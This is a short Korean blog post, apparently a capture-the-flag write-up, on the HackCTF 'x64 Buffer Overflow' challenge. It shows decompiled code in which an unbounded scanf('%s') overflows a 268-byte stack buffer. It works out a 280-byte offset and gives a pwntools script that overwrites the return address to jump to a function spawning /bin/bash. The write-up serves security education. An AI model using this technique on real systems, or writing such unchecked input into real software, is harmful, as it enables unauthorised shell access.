본문 바로가기
시스템 해킹/CTF

[HackCTF] x64 Buffer Overflow

by L3m0n S0ju 2021. 9. 13.

 

int callMeMaybe()
{
  char *path[4]; // [rsp+0h] [rbp-20h] BYREF

  path[0] = "/bin/bash";
  path[1] = "-p";
  path[2] = 0LL;
  return execve("/bin/bash", path, 0LL);
}

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", s);
  v5 = strlen(s);
  printf("Hello %s\n", s);
  return 0;
}

 

 

 

 


IDA로 분석하면 main함수와 callMeMaybe라는 함수가 존재한다. s와 ebp거리는 272이고 sfp 크기 8을 더해서 280만큼 이동하면 ret을 덮어씌울 수 있다. ret에는 callmeMaybe함수로 덮어씌우면 쉘을 획득할 수 있다. 코드는 아래와 같다.

 

 

 

 

 


#!/usr/bin/python

from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3004)
payload=b"A"*280+b"\x06\x06\x40\x00\x00\x00\x00\x00"
r.send(payload)
r.interactive()

 

 

 


'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13
[HackCTF] x64 Simple_size_BOF  (0) 2021.09.13
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.09.12
[HackCTF] Basic_BOF #2  (0) 2021.09.12
[HackCTF] Basic_BOF #1  (0) 2021.09.10

댓글